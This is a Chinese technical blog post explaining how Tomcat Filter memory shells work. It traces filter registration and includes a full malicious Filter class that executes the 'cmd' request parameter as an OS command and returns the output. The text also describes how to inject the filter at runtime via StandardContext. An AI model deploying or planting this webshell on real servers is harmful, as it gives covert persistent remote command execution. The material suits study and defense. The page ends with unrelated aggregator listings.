Filter内存马浅析

2023-11-11

1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Filter内存马的原理和实现。

 

2. Filter注册流程

假设有一个需要注册的filter类——FilterDemo:

其中在web.xml 配置好该filter的映射和作用范围:

也可以通过 @WebFilter 修饰:

filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。

2.1 请求过滤需要的Filter接口

Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:

跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:

注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。

总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

2.2 应用启动需要的接口

主要有三个类:

1. ApplicationFilterConfig

2. FilterDef

3. FilterMap

 

2.3 启动前的加载过程

主要涉及到三个类:

1. ServletContext

2. ApplicationContext

3. StandardContext

值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:

ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:

StandandContext类中filter关键的3个属性和2个方法:

1. filterMaps

2. filterDefs

3. filterConfigs

4. addFilterDef(填充filterDef对象)

5. filterStart(根据filterDefs初始化 filterConfigs )

查找 FilterDef:

添加FilterDef:

filterStart()中先清空了 filterConfigs的状态:

然后会将新的filterConfig添加到filterConfigs中:

类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs

2.4 请求到达时的处理流程

处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:

重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:

请求处理完成后 要释放掉filterChain:

具体看看 filterChain 实例是怎么创建的:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:

然后从 context 上下文中获取到 FilterMaps:

接下来做两点操作:

1)从filterMap中寻找匹配路径的filter添加到链中:

2.)从filterMap中寻找filter的servlet名添加到链中:

总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。

最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:

 

3. 注册流程总结

  1. context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
  2. context中不存在FilterDef则创建对应FilterDef
  3. AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
  4. context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
  5. 调用filter的init方法
  6. 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
  7. 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行

https://cdn.jsdelivr.net/gh/cnsimo/pic_bed/20200704113125.png

(by 宽字节安全)

 

4. 实现

简单以小马为例:

4.1 编写Filter恶意类

public class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("Filter初始化");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("进行过滤操作");
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
                servletResponse.getWriter().flush();
                return;
            }
            /*
             * -->放行<--
             * Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,
             * 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法
             * 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
             * 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行
             */
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("销毁操作");
        }
    }

4.2 获取StandardContext

这个老生常谈了,这里放一个获取StandardContext的方法:

4.3 添加FilterDef

有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:

跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:

 

在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:

4.4 添加FilterMap

FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:

我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:

通过 createFilterChain 创建一个ApplicationFilterChain:

在 createFilterChain() 中会将匹配到的filter加入filterChain:

注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:

由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)

这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?

从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:

所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。

4.5 添加到 filterConfigs

跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :

然后把对应的 name 添加到 filterConfigs 当中:

值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:

说明这个类是依赖FilterDef生成的。

同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:

为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:

或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:

4.6 效果

原始:

访问生成内存马的jsp:

访问内存马:

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Filter内存马浅析 的相关文章

  • Eclipse WTP 与 Tomcat 中干净工作目录和干净工作目录之间的区别

    我正在使用 Eclipse 进行 Java Web 开发 我安装了 WTP 和 Tomcat 我通过 Eclipse 运行 Tomcat 这是一个非常标准的配置 我想了解的是 当您右键单击 服务器 选项卡中的服务器时 它会为您提供两个选项
  • 通过 jdbc 执行存储过程时获取网关超时

    我正在使用 struts2 框架 它基本上是这样的 ActionClass execute call function in business class which returns an object and store this obj
  • 奇怪的 Atomikos 异常 - init() 中的错误:日志已在使用中?

    我们尝试在多个本地环境上运行相同的 Web 应用程序 该应用程序使用 Atomikos 作为事务管理器 每个环境都使用相同版本的 spring atomikos tomact 等 并具有相同的配置文件 其中一些工作正常 但其中之一 当我们尝
  • 如何根据给定的过滤器返回并获取对象属性的总和?

    我有以下对象 var data Name ABC Dept First FY 2016 Quarter 1 Month April Total 100 Name ABC Dept Second FY 2017 Quarter 2 Month
  • Tomcat 连接池与准备好的语句缓存

    从 DBCP 连接池升级到 Tomcat 自己的实现 基于优秀的比较here http tomcat apache org tomcat 7 0 doc jdbc pool html Introduction 我有点困惑为什么他们放弃了这两
  • HttpResponse 过滤器不返回任何内容

    我编写了一个 HttpModule 用于拦截对 WebResource axd 处理程序的调用 以便我可以对 javascript 执行一些后处理 该模块包装 Response Filter 流以执行其处理并将其更改写入底层流 我遇到的问题
  • 从 Web 服务器异步调用应用程序

    我有一个用 Spring 制作的 在 Tomcat 上运行的 Web 应用程序 在同一台机器上有一个普通的 Java 应用程序 我想通过从Web服务器调用Java应用程序来执行它 但我想让应用程序不会使用服务器的资源 它涉及分类器的训练 因
  • R - 过滤器坐标

    我是 R 新手 我有一个简单的问题 据我看来 但到目前为止我还没有找到解决方案 我有一组 长 2D x y 坐标 只是 2D 空间中的点 如下所示 ID x y 1 1758 56 1179 26 2 775 67 1197 14 3 29
  • 将 dataGridView 绑定到绑定列表并按文本框过滤行

    我正在开发一个 Winforms 应用程序 并且有一个已经绑定到 dataGridView 的对象的 BindingList 我还有一个 过滤器 文本框 如果它们与文本框文本不匹配 我想从 datagridview 行中过滤掉行 我想以某种
  • 通过 ConfigurableApplicationContext refresh() 重新加载 Spring 应用程序上下文是否被认为是不好的做法

    我们有一个 Spring 应用程序托管在共享tomcat实例 有时我们必须重新加载 Spring 应用程序上下文 但又不想重新启动 Tomcat 服务器 因为其他应用程序也托管在那里 正在通过以下方式刷新 spring 应用程序上下文 Co
  • Tomcat 8 上的 PHP

    我找到了很多如何让 PHP 在 Tomcat 上运行的指南 但都是以前的版本 我尝试了所有这些 但我所能显示的只是一个空白页面 并且代码仍然没有被触发 我知道 Tomcat 是为 Java 应用程序而不是 PHP 构建的 但我需要找到一种使
  • 在 Java 构建过程中更改常量的最佳方法

    我继承了一个在 Tomcat 下运行的 Java 应用程序 servlet 由于历史原因 根据应用程序的部署位置 本质上是品牌问题 代码具有不同的 外观和感觉 选项 有几个常量控制这个品牌过程 它们具有不同的功能 不应压缩为单个常量 即 B
  • java.lang.NoClassDefFoundError:HttpSessionListener

    我正在尝试部署一场我没有编写的战争 但我在日志中收到此错误 java lang NoClassDefFoundError HttpSessionListener 我知道 HttpSessionListener 位于servlet api j
  • tomcat 8 无法在自由端口上启动

    PROBLEM 通过 Windows 服务停止 gt 启动 tomcat 8 失败 因为 tomcat 关闭不知何故以 不可见 状态继续侦听端口 8080 并且 tomcat 无法启动 因为它无法绑定到端口 8080 背景 我们的一个构建脚
  • 是否可以使 Spring Security 会话失效?

    我正在使用 Tomcat 6 0 32 Spring Security 3 0 5 在我的网络应用程序中 某些用户可以更改其他用户的权限 发生这种情况时 我想使权限已更改的用户的任何会话无效 这可能吗 如果可能的话怎么办 通常 您无法在更改
  • Android ListView数组索引过滤后越界

    我认为这是专家的问题 我接到电话getView with positon 出界来自ListView数据列表 当我使用适配器过滤器时会发生这种情况 过滤器publishResults 方法使用小于原始列表的过滤列表填充数据 当新的过滤列表时似
  • Tomcat如何通过IP地址限制访问?

    有谁知道Tomcat是否可以通过IP地址限制对某些应用程序的访问 例如Apache的 htaccess 你添加一个Valve to the Context in context xml 具体来说 org apache catalina va
  • 由于 http 响应 405,无法执行 mvn tomcat:deploy

    我正在将 Tomcat 7 作为 Windows 服务运行 我想在我的项目根目录中进行 mvn tomcat 部署 但总是出现这个错误 你能帮我解决这个问题吗 INFO Deploying war to http localhost 808
  • windows关闭tomcat后保持端口锁定

    我遇到了一个问题 该问题发生在不同站点的 3 台不同服务器上 问题是 当我关闭 Windows 服务器上的 Tomcat 7 和 8 5 版本 服务并尝试重新启动该服务后 该服务将无法启动 因为 tomcat 认为端口仍在使用中 以下是错误
  • 如何从数据框中删除少于 5 个观察值的个体 [重复]

    这个问题在这里已经有答案了 为了澄清这个问题 我将简要描述数据 中的每一行data frame是一个观察值 列代表与该观察值相关的变量 包括 观察到什么个体 观察时间 观察地点等 我想排除 过滤观察值少于 5 个的个体 换句话说 如果 in

随机推荐

  • mmsegmentation安装教程,简单易懂,必能成功

    一 安装anaconda 这个自己弄一路默认就行或者你想改个路径也行 无所谓 安装好之后打开anaconda prompt控制面板 换成清华源 pip config set global index url https pypi tuna
  • 数字IC后端设计技术全局观

    数字IC后端设计flow 不含DFT 数字IC后端设计工具 DC 用于逻辑综合 FM 用于形式验证 ICC 用于物理实现 PrimeTime 用于STA 步骤 或文件类型 简述 RTL Register Transfer Level v文件
  • mysql8.0收费价格,MySQl 8.0遇到的坑

    报错 Illuminate Database QueryException SQLSTATE HY000 1045 Access denied for user root localhost using password NO SQL cr
  • Trying to access array offset on value of type int

    问题描述 出现报错信息 先百度翻译 试图访问int类型值的数组偏移量 通过翻译得知 int型的数据被其他不能使用的类型使用了 个人理解 关于这块 php7 4升级之后会有这个bug 网上大多人是说 7 4 版本的向后不兼容更改 非数组的数组
  • valgrind Massif

    valgrind检查内存泄露 valgrind 程序 内存泄漏问题 我们有memcheck工具来检查 很爽 但是有时候memcheck工具查了没泄漏 程序一跑 内存还是狂飙 这又是什么问题 其实memcheck检查的内存泄漏只是狭义的内存泄
  • Docker——安装和启动

    一 环境准备 1 安装Linux虚拟机软件 VMware或VirtualBox 比VMware更小巧轻便且免费 此处安装VirtulaBox 2 安装Linux虚拟系统 在管理中选择导入虚拟电脑 记得选中重新初始化所有网卡的MAC地址 双击
  • Dynamics CRM 365 如何设置经典登录页面

    Don t be surprised If you don t see classic interface post your sign up for dynamics 365 Okay let s face it We are losin
  • 复选框check的选中、不选中设置以及判断是否选中

    复选框的设置 一 JavaScript判断是否选中checkbox框 二 JavaScript设置选中checkbox框 三 JavaScript移除选中checkbox框 四 使用jQuery判断是否选中checkbox框 五 使用jQu
  • 国密(1) - 私钥Key文件( PEM格式)编解码方法

    详细的PEM文件格式解析 PEM文件 是按照私钥的ASN 1的格式 RFC5208 5915 5480 进行DER编码后输出二进制串的基础上 再进行Base64的编码 也就是每6个bit为一组 生成一个ascii码字符 需要4组6个bit
  • 学习笔记59—收藏这7个在线配色神器,再也不愁配色灵感了

    在设计中配色方案是必要的 也是让设计师头疼的一个问题 所以 编辑专为大家整理了一波配色神器网站 不用下载任何应用程序 打开即用 不仅能快速的做出符合设计概念的颜色组合 且有很多样品供你确认的工具 设计新手们千万别错过了 一 Khroma h
  • 【macOS】Win通过VNC远程控制Macbook

    Win通过VNC远程控制Macbook 参考 https zhuanlan zhihu com p 74162964 仅局域网内可用 Macbook配置 进入 电脑设置 勾选两个选项 Windows配置 安装VNC Viewer https
  • openpyxl操作表格的基本用法

    创建文件 以及创建xlsx表格 from openpyxl import Workbook load workbook import os 创建excel文件 默认会有一个sheet命名的表 def create xlsx path nam
  • Beginng_Rust(译):借用和生命周期(第二十二章)

    在本章中 您将学习 借用 和 生命周期 的概念 哪些是关于借用的典型编程错误 即困扰系统软件 Rust严格语法如何使用借用检查器来防止此类典型错误 插入块的方式如何限制借用范围 为什么函数返回引用需要生命周期指示符 如何使用寿命指定符来表示
  • 应用层的原理

    目录 应用层协议原理 网络应用程序体系结构 客户 服务器 P2P 混合模式 UDP TCP 所有能产生网络流量的程序 应用层协议原理 网络应用程序体系结构 客户 服务器 P2P 混合模式 UDP TCP 可供应用程序使用的运输服务 因特网提
  • 解决liquibase.exception.LockException: Could not acquire change log lock. Currently locked by XXXX

    项目启动后报liquibase exception LockException Could not acquire change log lock 解决方案 执行下面语句 use job job为你的数据库 select from DATA
  • HTML5 history新特性pushState、replaceState

    DOM中的window对象通过window history方法提供了对浏览器历史记录的读取 让你可以在用户的访问记录中前进和后退 从HTML5开始 我们可以开始操作这个历史记录堆栈 1 History 使用back forward 和go
  • windows dll 装载过程

    windows dll 装载过程 2010 12 04 19 13 56 分类 Windows系统平台上 你可以将独立的程序模块创建为较小的DLL Dynamic Linkable Library 文件 并可对它们单独编译和测试 在运行时
  • MySQL--事务+存储引擎+表类型+视图+用户管理

    目录 1 事务 1 1 概念 1 2 回退事务 1 3提交事务 1 4事务细节注意点 1 5事务的隔离级别 1 5 1 介绍 1 5 2 解决这些安全性问题 1 5 3演示脏读 1 5 4避免脏读 演示不可重复发生 1 5 5 演示不可重复
  • Hexo 博客利用 Nginx 实现中英文切换

    本文记录了对 Hexo 博客进行中英文切换的配置过程 实现同一应用共用模版 任何页面可以切换到另一语言的对应页面 并对未明确语言的访问地址 根据浏览器语言进行自动跳转 实现细则 中英文地址区分 博客中文首页 https chanvinxia
  • Filter内存马浅析

    1 何谓内存马 以Tomcat为例 内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性 只要将我们的恶意组件注入其中 就可以一直生效 直到容器重启 Java内存shell有很多种 大致分为 1 动态注册filter 2 动态注册